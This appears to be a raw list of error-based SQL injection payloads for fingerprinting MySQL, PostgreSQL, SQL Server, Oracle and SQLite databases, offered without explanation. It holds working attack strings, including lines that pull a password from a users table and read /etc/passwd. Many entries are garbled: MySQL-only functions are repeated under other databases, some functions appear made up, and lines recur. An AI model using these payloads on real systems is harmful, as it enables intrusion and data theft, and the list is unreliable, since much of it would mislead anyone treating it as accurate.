# Common Error-Based SQL Payloads
# Error-inducing payloads for database fingerprinting

## MySQL
' AND extractvalue(1, concat(0x7e, version(), 0x7e))--
' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)--
' AND exp(~(SELECT * FROM (SELECT version())a))--
' AND GTID_SUBSET(CONCAT(0x7e, database(), 0x7e), 1, 1)--
1' AND extractvalue(1, concat(0x7e, @@version, 0x7e))--
' AND ROW(1,1)>(SELECT COUNT(*) FROM information_schema.columns)--
' AND UPDATEXML(1, CONCAT(0x7e, database(), 0x7e), 1)--
' AND extractvalue(1, concat(0x7e, @@hostname, 0x7e))--
1' AND updatexml(1, concat(0x7e, user(), 0x7e), 1)--
' AND 1=(SELECT COUNT(*) FROM information_schema.tables)--
1' AND 1=(SELECT * FROM (SELECT name_const(version(),1)) as x LIMIT 1)--
' AND 1=(SELECT * FROM (SELECT name_const(@@version,1)) AS x LIMIT 1)--
' AND extractvalue(1, concat(0x7e, table_name, 0x7e))--
' AND updatexml(1, concat(0x7e, @@datadir, 0x7e), 1)--
1' AND updatexml(1, concat(0x7e, load_file('/etc/passwd'), 0x7e), 1)--
' AND GTID_SUBSET(CONCAT(0x7e, 0x496e6374, 0x7e), 1, 1)--
1' AND updatexml(1, concat(0x7e, (SELECT password FROM users LIMIT 1), 0x7e), 1)--
' AND extractvalue(1, concat(0x7e, (SELECT username FROM users LIMIT 1), 0x7e))--
' AND JSON_EXTRACT(JSON_ARRAY(), '$.host')--
1' AND extractvalue(1, concat(0x7e, @@global.read_only, 0x7e))--
' AND (SELECT 1 FROM mysql.user LIMIT 1)--
' AND row(1,1)>(SELECT COUNT(*) FROM mysql.user)--
' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1), 0x7e))--

## PostgreSQL
' AND cast(version() as int)--
'; SELECT pg_sleep(5)--
'; SELECT 1 AS test_column--
' AND 1=cast(version() as int)--
'; SELECT pg_sleep(1)--
' AND (SELECT CAST(version() AS INT))=1--
' AND extractvalue(1, concat(0x7e, version(), 0x7e))--
' AND 1=(SELECT CAST(version() AS INT))--
'; SELECT extract(epoch from now())--
' AND 1=(SELECT extract(epoch from now()))--
' AND cast((SELECT version())::text as int)--
' AND 1=(SELECT CAST((SELECT version())::text AS INT))--
' AND pg_sleep(5)--
'; SELECT CASE WHEN (SELECT version() AS INT)>0 THEN pg_sleep(5) END--
1'; SELECT pg_sleep(5)--
1;SELECT pg_sleep(5)--
' AND (SELECT 1 FROM pg_sleep(5))--
1' AND 1=(SELECT pg_sleep(5))--
' AND 1=(SELECT 1 FROM pg_sleep(5))--
' AND extractvalue(1, concat(0x7e, current_database(), 0x7e))--
' AND 1=(SELECT current_database())--
'; SELECT current_database()--
' AND (SELECT current_database()) IS NOT NULL--
' AND 1=(SELECT current_database())--
1' AND 1=(SELECT current_database())--
' AND 1=(SELECT datname FROM pg_database WHERE datname='postgres')--
' AND (SELECT datname FROM pg_database WHERE datname='public') IS NOT NULL--
' AND 1=(SELECT current_user)--
'; SELECT current_user--
' AND 1=(SELECT current_user)--
' AND 1=(SELECT user)--
1' AND extractvalue(1, concat(0x7e, current_user, 0x7e))--
' AND extractvalue(1, concat(1, cast((SELECT current_user) as text), 1))--
'; SELECT current_user--
' AND extractvalue(1, (SELECT current_user)::text, 1)--
' AND (SELECT current_user)::text IS NOT NULL--
' AND extractvalue(1, (SELECT current_user)::text, 1)--
' AND 1=(SELECT user)--
' AND 1=(SELECT usename FROM pg_user)--
' AND extractvalue(1, concat(0x7e, (SELECT usename FROM pg_user), 0x7e))--

## SQL Server
' AND 1=CONVERT(INT, @@version)--
' AND 1=CAST(@@version AS INT)--
' AND 1=(SELECT @@version)--
' AND 1=@@SERVERNAME--
' AND 1=DB_NAME()--
' AND 1=(SELECT name FROM master..sysdatabases WHERE name=1)--
' AND 1=(SELECT TOP 1 name FROM master..sysdatabases)--
'; SELECT @@SERVICENAME AS service_name--
' AND extractvalue(1, concat(0x7e, @@version, 0x7e))--
1' AND extractvalue(1, concat(0x7e, @@servername, 0x7e))--
' AND 1=(SELECT TOP 1 name FROM master..sysdatabases)--
' AND extractvalue(1, concat(0x7e, (SELECT TOP 1 name FROM master..sysdatabases), 0x7e))--
' AND extractvalue(1, concat(0x7e, @@datadir, 0x7e))--
' AND 1=(SELECT @@datadir)--
' AND extractvalue(1, concat(0x7e, (SELECT TOP 1 @@version), 0x7e))--
' AND 1=2 --
1' AND 1=DB_NAME()--
' AND 1=(SELECT DB_NAME())--
' AND 1=(SELECT name FROM master..sysdatabases WHERE name=1)--
' AND 1=(SELECT TOP 1 name FROM master..sysdatabases)--
' AND 1=convert(int, @@version)--
1' AND 1=cast(@@version as int)--
' AND extractvalue(1, concat(0x7e, @@version, 0x7e))--
' AND updatexml(1, concat(0x7e, @@version, 0x7e), 1)--
' AND 1=(SELECT @@servername)--
' AND 1=(SELECT @@servername)--
' AND extractvalue(1, concat(0x7e, @@servername, 0x7e))--
' AND 1=(SELECT name FROM master..sysdatabases WHERE name=1)--
' AND extractvalue(1, concat(0x7e, (SELECT TOP 1 name FROM master..sysdatabases), 0x7e))--
' AND 1=(SELECT DB_NAME())--
' AND extractvalue(1, concat(0x7e, DB_NAME(), 0x7e))--

## Oracle
' AND CTXXML(1, (SELECT banner FROM v$version WHERE ROWNUM=1), 1)--
' AND 1=ctxsys.drivexml(1, version(), 1)--
' AND extractvalue(1, concat(0x7e, (SELECT banner FROM v$version WHERE ROWNUM=1), 0x7e))--
' AND 1=(SELECT banner FROM v$version WHERE ROWNUM=1)--
' AND 1=(SELECT banner FROM v$version WHERE ROWNUM=1)--
' AND extractvalue(1, concat(0x7e, (SELECT banner FROM v$version WHERE ROWNUM=1), 0x7e))--
'; SELECT banner FROM v$version WHERE ROWNUM=1--
' AND extractvalue(1, (SELECT SYS_CONTEXT('USERENV', 'SESSION_USER') FROM dual), 1)--
' AND extractvalue(1, concat(0x7e, SYS_CONTEXT('USERENV', 'SESSION_USER'), 0x7e))--
'; SELECT SYS_CONTEXT('USERENV', 'SESSION_USER') FROM dual--
' AND extractvalue(1, concat(0x7e, SYS_CONTEXT('USERENV', 'CURRENT_USER'), 0x7e))--
'; SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual--
' AND extractvalue(1, concat(0x7e, USER, 1))--
'; SELECT USER FROM dual--
' AND extractvalue(1, concat(0x7e, (SELECT user FROM dual), 1))--
' AND extractvalue(1, concat(0x7e, (SELECT instance_name FROM v$instance), 1))--
'; SELECT instance_name FROM v$instance--
' AND 1=(SELECT instance_name FROM v$instance)--
' AND extractvalue(1, concat(0x7e, (SELECT instance_name FROM v$instance), 1))--
' AND extractvalue(1, concat(0x7e, (SELECT SYS_CONTEXT('USERENV', 'SESSION_USER') FROM dual), 1))--
' AND extractvalue(1, concat(0x7e, (SELECT user FROM dual), 1))--
' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM all_tables WHERE rownum=1), 1))--
'; SELECT table_name FROM all_tables WHERE rownum=1--
' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM all_tables WHERE rownum=1), 1))--
' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM user_tables WHERE rownum=1), 1))--
'; SELECT table_name FROM user_tables WHERE rownum=1--
' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM user_tables WHERE rownum=1), 1))--
' AND 1=(SELECT table_name FROM all_tables WHERE rownum=1)--
' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM all_tables WHERE rownum=1), 1))--
'; SELECT table_name FROM all_tables WHERE rownum=1--
' AND extractvalue(1, concat(0x7e, (SELECT column_name FROM user_tab_columns WHERE table_name='USERS' AND rownum=1), 1))--
'; SELECT column_name FROM user_tab_columns WHERE table_name='USERS' AND rownum=1--
' AND extractvalue(1, concat(0x7e, (SELECT column_name FROM user_tab_columns WHERE table_name='USERS' AND rownum=1), 1))--
' AND extractvalue(1, concat(0x7e, (SELECT column_name FROM user_tab_columns WHERE table_name='USERS' AND rownum<=2), 1))--
' AND extractvalue(1, concat(0x7e, (SELECT column_name FROM user_tab_columns WHERE table_name='USERS' AND rownum<=2), 1))--
'; SELECT column_name FROM user_tab_columns WHERE table_name='USERS' AND rownum<=2--
' AND extractvalue(1, concat(0x7e, (SELECT global_name FROM global_name WHERE global_name='AUDSID'), 1))--
'; SELECT global_name FROM global_name WHERE global_name='AUDSID'--
' AND extractvalue(1, concat(0x7e, (SELECT global_name FROM global_name WHERE global_name='AUDSID'), 1))--
' AND 1=(SELECT global_name FROM global_name WHERE global_name='AUDSID')--
' AND extractvalue(1, concat(0x7e, (SELECT global_name FROM global_name WHERE global_name='ORACLE_BASE'), 1))--
'; SELECT global_name FROM global_name WHERE global_name='ORACLE_BASE'--
' AND 1=(SELECT global_name FROM global_name WHERE global_name='ORACLE_BASE')--
' AND extractvalue(1, concat(0x7e, (SELECT global_name FROM global_name WHERE global_name='ORACLE_BASE'), 1))--
'; SELECT global_name FROM global_name WHERE global_name='ORACLE_BASE'--

## SQLite
' AND 1=load_extension('sqlite_master')--
' AND 1=(SELECT sql FROM sqlite_master)--
' AND extractvalue(1, (SELECT sql FROM sqlite_master LIMIT 1), 1)--
' AND 1=(SELECT name FROM sqlite_master WHERE type='table')--
' AND extractvalue(1, (SELECT name FROM sqlite_master WHERE type='table' LIMIT 1), 1)--
' AND extractvalue(1, (SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%users%'), 1)--
' AND 1=sqlite_master--
' AND 1=(SELECT name FROM sqlite_master)--
' AND 1=(SELECT name FROM sqlite_master WHERE type='table')--
' AND extractvalue(1, (SELECT name FROM sqlite_master WHERE type='table'), 1))--
' AND 1=(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1)--
' AND extractvalue(1, concat(0x7e, (SELECT name FROM sqlite_master WHERE type='table' LIMIT 1), 1))--
' AND sql='sqlite_master'--
' AND 1=(SELECT name FROM sqlite_master LIMIT 1 OFFSET 0)--
' AND 1=(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1)--
' AND extractvalue(1, (SELECT sql FROM sqlite_master WHERE sql='sqlite_master' LIMIT 1), 1))--
' AND 1=sqlite_master--
' AND 1=(SELECT sql FROM sqlite_master WHERE sql='sqlite_master')--
' AND 1=(SELECT sql FROM sqlite_master WHERE sql='sqlite_master' LIMIT 1)--
' AND extractvalue(1, (SELECT sql FROM sqlite_master WHERE sql='sqlite_master' LIMIT 1), 1))--
' AND 1=(SELECT sql FROM sqlite_master WHERE sql LIKE '%users%' LIMIT 1)--
' AND 1=(SELECT sql FROM sqlite_master WHERE sql LIKE '%users%')--
' AND extractvalue(1, concat(0x7e, (SELECT sql FROM sqlite_master WHERE sql LIKE '%users%' LIMIT 1), 1))--
